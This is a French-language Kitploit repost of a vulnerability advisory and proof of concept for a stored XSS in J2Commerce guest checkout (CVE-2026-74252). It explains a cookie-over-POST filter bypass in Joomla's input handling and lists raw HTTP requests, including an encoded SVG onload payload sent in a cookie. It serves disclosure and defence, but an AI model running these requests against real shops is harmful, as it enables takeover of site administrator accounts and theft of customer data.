Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
Outils/GitHubGitHub/toanln-cov/cve-2026-74252
Analyse des VulnérabilitésExploitationExploitation d'Applications WebSécurité Web
GitHubtoanln-cov/cve-2026-74252

CVE-2026-74252

XSS stocké dans le paiement invité de J2Commerce via contournement du filtre de cookies

Voir le dépôt
il y a 2 joursPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

XSS stocké dans la commande invité J2Commerce via contournement du filtre par cookie

J2Commerce (com_j2store) ≤ 4.1.5 — Un attaquant non authentifié stocke une charge XSS qui s'exécute automatiquement dans le navigateur de l'administrateur au chargement de la page

CVE CVSS v4.0 CWE-79 Affected Researcher


RÉSUMÉ

J2Commerce 4.1.5 est vulnérable au Cross-Site Scripting (XSS) stocké via les champs d'adresse de facturation de la commande en tant qu'invité. Un attaquant non authentifié exploite un contournement de filtre dans Input::getArray() de Joomla combiné à variables_order=EGPCS de PHP (le cookie remplace POST dans $_REQUEST) pour stocker du HTML non assaini dans des champs tels que billing_first_name. Ces champs sont renvoyés directement dans le panneau de gestion des commandes de l'administrateur sans , ce qui provoque l'exécution de la charge dans le navigateur de l'administrateur.

Télécharger l’outil
htmlspecialchars()

La charge XSS se déclenche automatiquement au chargement de la page lorsque l'administrateur accède à la liste des commandes — aucun clic sur une commande individuelle n'est requis. Une seule chaîne de requêtes HTTP (ajout au panier → soumission de la commande avec contournement par cookie → validation de la commande) stocke définitivement la charge, qui s'exécutera dans le navigateur de chaque administrateur jusqu'à ce que la commande soit supprimée ou que la vulnérabilité soit corrigée.

L'attaque ne nécessite aucune authentification de la part de l'attaquant. La commande en tant qu'invité est une fonctionnalité standard et généralement activée des sites de commerce électronique, ce qui incite économiquement les administrateurs à consulter les nouvelles commandes — rendant l'exploitation triviale à industrialiser.


VERSIONS AFFECTÉES

COMPOSANTVULNÉRABLETESTÉ SURCORRIGÉ
J2Commerce (com_j2store)1.0.0 – 4.1.54.1.5 sur Joomla 5.4.7 + MySQL 8.03.3.21 / 4.0.21 / 4.1.6

DÉTAILS DE LA VULNÉRABILITÉ

Type : Cross-Site Scripting — stocké (CWE-79) Authentification requise : Aucune — non authentifié (commande en tant qu'invité) Sink principal : administrator/components/com_j2store/views/orders/tmpl/default_items.php:73 Chemin d'écriture : components/com_j2store/controllers/checkouts.php:535

Cause racine

La vulnérabilité résulte de deux faiblesses combinées : un contournement du filtre d'entrée au niveau du chemin d'écriture et un encodage de sortie manquant au niveau du chemin de lecture.

1. Contournement du filtre d'entrée — mauvaise utilisation de Input::getArray() de Joomla

Le contrôleur de commande en tant qu'invité de J2Commerce lit les champs d'adresse à l'aide de $app->input->getArray($_POST). L'implémentation de Joomla parcourt le tableau $_POST et utilise chaque valeur comme type de filtre (et non comme donnée), tout en lisant la valeur réelle depuis $_REQUEST :

COMPONENTS/COM_J2STORE/CONTROLLERS/CHECKOUTS.PHP:535 — CHEMIN D'ÉCRITURE

root@kitploit:~
$data = $app->input->getArray($_POST);

LIBRARIES/VENDOR/JOOMLA/INPUT/SRC/INPUT.PHP — MÉTHODE GETARRAY() (LIGNE 187)

root@kitploit:~
public function getArray(array $vars = [], $datasource = null)
{
    foreach ($vars as $k => $v) {
        $results[$k] = $this->get($k, null, $v); // $k = field name, $v = POST value used as filter TYPE
    }
}

LIBRARIES/VENDOR/JOOMLA/INPUT/SRC/INPUT.PHP — SOURCE DE DONNÉES (LIGNE 97)

root@kitploit:~
$this->data = $source ?? $_REQUEST;  // Reads from $_REQUEST, not $_POST

2. PHP variables_order — Le cookie remplace POST dans $_REQUEST

$_REQUEST de PHP est une superglobale fusionnée construite à partir de $_GET, $_POST et $_COOKIE. Lorsque variables_order=EGPCS (la valeur par défaut compilée pour la plupart des environnements PHP), Cookie (C) apparaît après POST (P), donc le cookie l'emporte pour les clés conflictuelles.

Soumettre first_name=RAW dans le corps POST amène InputFilter::clean() de Joomla à appliquer le type de filtre 'Raw' (sans opération) à la valeur du cookie first_name=<svg...>, qui l'emporte dans $_REQUEST.

LIBRARIES/VENDOR/JOOMLA/FILTER/SRC/INPUTFILTER.PHP — MÉTHODE CLEAN() (LIGNE 215)

root@kitploit:~
$type = ucfirst(strtolower($type));  // 'RAW' → 'Raw'
if ($type === 'Raw') {
    return $source;  // ← no sanitization — returns cookie value unchanged
}

Résultat final : Le corps POST first_name=RAW définit le filtre comme sans opération. Le cookie first_name=<svg onload="alert(document.domain)"> l'emporte dans $_REQUEST. Joomla renvoie la valeur du cookie sans filtrage. J2Commerce la stocke brute dans j2store_orderinfos.billing_first_name.

3. Encodage de sortie manquant — points de sortie des modèles d'administration

ADMINISTRATOR/COMPONENTS/COM_J2STORE/VIEWS/ORDERS/TMPL/DEFAULT_ITEMS.PHP:73 — POINT DE SORTIE PRINCIPAL (se déclenche au chargement de la page de liste)

root@kitploit:~
// Vulnerable — no htmlspecialchars():
<span class="me-1"><?php echo $row->billing_first_name .' '.$row->billing_last_name; ?></span>

ADMINISTRATOR/COMPONENTS/COM_J2STORE/VIEWS/ORDER/TMPL/FORM_CUSTOMER.PHP:56 — POINT DE SORTIE SECONDAIRE

root@kitploit:~
// Vulnerable — no htmlspecialchars():
<?php echo '<strong>'.$this->orderinfo->billing_first_name." ".$this->orderinfo->billing_last_name."</strong>"; ?>
<?php echo $this->orderinfo->billing_address_1;?>
<?php echo $this->orderinfo->billing_city;?>
<?php echo $this->orderinfo->billing_phone_1; ?>

Ce contournement fonctionne sur tous les environnements PHP, sauf Debian/Ubuntu (qui définit explicitement request_order = "GP", excluant les cookies de $_REQUEST). Tous les autres environnements d'hébergement majeurs — hébergement mutualisé cPanel/Plesk, CentOS/RHEL, XAMPP/WAMP/MAMP, Windows IIS — retombent sur EGPCS, ce qui rend la substitution par cookie active par défaut sans aucune modification de configuration requise.


PREUVE DE CONCEPT

1. État initial administrateur — Liste des commandes avant l'attaque

Ouvrez la liste des commandes administrateur J2Commerce en tant qu'administrateur victime. Cela confirme que l'administrateur utilise activement le panneau et rencontrera la charge lors de sa prochaine visite.

s1-step1-admin-orders-baseline

2. Extraire le jeton CSRF depuis le frontend

En tant qu'attaquant non authentifié, envoyez une requête GET à la page d'accueil frontend de J2Commerce pour établir une session et extraire le jeton CSRF intégré dans les options JSON de la page. Ce jeton est requis pour les requêtes POST ultérieures.

s1-step2-csrf-token-extract

3. Ajouter un produit au panier

Ajoutez un produit au panier de l'attaquant. Le panier doit être non vide pour que le point de terminaison de commande invité accepte la soumission de l'adresse.

root@kitploit:~
POST /index.php?option=com_j2store&view=carts&task=addItem&ajax=1 HTTP/1.1
Host: target.example.com
Content-Type: application/x-www-form-urlencoded

product_id=&j2store_variant_id=&quantity=1&<csrf_token>=1

s1-step3-add-product-to-cart

4. CONTOURNEMENT CLÉ — Soumettre la commande invité avec l'astuce du filtre par cookie

Soumettez le formulaire d'adresse de commande invité avec deux valeurs conflictuelles pour first_name :

  • Corps POST : first_name=RAW — Joomla interprète cela comme le type de filtre (sans opération)
  • Cookie : first_name=<svg...> — celui-ci l'emporte dans $_REQUEST (PHP EGPCS : Cookie > POST) et est renvoyé sans filtrage
root@kitploit:~
POST /index.php?option=com_j2store&view=checkout&task=guest_validate HTTP/1.1
Host: target.example.com
Content-Type: application/x-www-form-urlencoded
Cookie: <joomla_session>=<session_value>; first_name=%3Csvg+xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22+onload%3D%22alert%28document.domain%29%22%3E%3C%2Fsvg%3E

first_name=RAW&last_name=Attacker&address_1=1+Evil+St&city=HackCity&zip=12345&country_id=223&zone_id=62&phone_1=0123456789&phone_2=0123456789&email=attacker%40evil.com&<csrf_token>=1

s1-step4-cookie-bypass-guest-checkout

5. Valider l'adresse de livraison

Soumettez l'étape d'adresse de livraison en utilisant le même contournement par cookie. Cette étape définit le pays de livraison en session — l'ignorer provoque une erreur "SHIPPING_ADDRESS_NOT_FOUND" aux étapes suivantes.

s1-step5-shipping-validate

6. Sélectionner le mode de paiement

Sélectionnez le mode de paiement (paiement à la livraison). Le champ payment_plugin n'est pas une entrée texte susceptible d'être vulnérable aux XSS.

root@kitploit:~
POST /index.php?option=com_j2store&view=checkout&task=shipping_payment_method_validate HTTP/1.1

payment_plugin=payment_cash&<csrf_token>=1

s1-step6-select-payment-method

7. Récupérer le hash de confirmation de commande

Soumettez l'étape de confirmation pour recevoir la page de récapitulatif de commande contenant un champ hash caché. Ce hash est requis pour finaliser la commande.

root@kitploit:~
POST /index.php?option=com_j2store&view=checkout&task=confirm HTTP/1.1

accept_terms=1&<csrf_token>=1

s1-step7-retrieve-order-hash

8. Passer la commande — Charge XSS persistée en base de données

Finalisez la commande en utilisant le hash de l'étape précédente. Le serveur crée l'enregistrement de commande dans joom_j2store_orderinfos avec billing_first_name défini sur la charge XSS brute.

root@kitploit:~
POST /index.php?option=com_j2store&view=checkout&task=confirmPayment HTTP/1.1

hash=<hash_from_step7>&<csrf_token>=1

s1-step8-place-order-xss-persisted

9. Le XSS s'exécute dans le panneau administrateur — automatiquement au chargement de la page

En tant qu'administrateur victime, accédez à la liste des commandes J2Commerce. La charge XSS se déclenche immédiatement au chargement de la page — aucun clic requis. Le modèle default_items.php:73 rend billing_first_name sans échappement dans la colonne Client.

Lorsque l'administrateur consulte la commande, la réponse du serveur inclut :

root@kitploit:~
<strong><svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.domain)"></svg> Attacker</strong>

s1-step9-xss-triggers-on-page-load


IMPACT

  1. Détournement de session administrateur — Le JavaScript s'exécutant dans le backend administrateur a accès aux cookies de session de l'administrateur (sauf si HttpOnly) et peut les exfiltrer vers un serveur contrôlé par l'attaquant, permettant une prise de contrôle complète du compte sans nécessiter les identifiants de l'administrateur.
  2. Création de compte administrateur frauduleux — La charge XSS peut appeler programmatiquement l'API de gestion des utilisateurs de Joomla pour créer un nouveau compte super-administrateur, accordant à l'attaquant un accès persistant même après rotation du mot de passe ou invalidation de session.
  3. Installation de plugin malveillant — Avec l'exécution JS au niveau administrateur, l'attaquant peut déclencher les points de terminaison d'installation de plugins pour téléverser un webshell PHP, obtenant une exécution de code à distance sur le serveur sous-jacent sans autre interaction.
  4. Compromission totale du site Web — L'attaquant obtient la capacité de modifier tout contenu, d'extraire la base de données (y compris les données personnelles des clients et les références de paiement), d'injecter des malwares dans les pages frontend et d'établir des portes dérobées persistantes — constituant une prise de contrôle complète du site.
  5. Aucun prérequis d'attaque au-delà de passer une commande — La commande en tant qu'invité est une fonctionnalité standard et généralement activée des sites de commerce électronique. Tout visiteur anonyme peut déclencher cette attaque en soumettant un formulaire de commande — offrant une incitation économique (les administrateurs examinent systématiquement les commandes), rendant l'exploitation triviale à armer à grande échelle.

RÉFÉRENCES

  • CVE : https://www.cve.org/CVERecord?id=CVE-2026-74252
  • NVD : https://nvd.nist.gov/vuln/detail/CVE-2026-74252
  • Avis GitHub : https://github.com/advisories/GHSA-42m7-jqh7-g85c
  • Annonce de sécurité du fournisseur : https://www.j2commerce.com/blog/security-announcement-releases-3-3-21-4-0-21-and-4-1-6
  • Dépôt du fournisseur : https://github.com/j2store/J2Store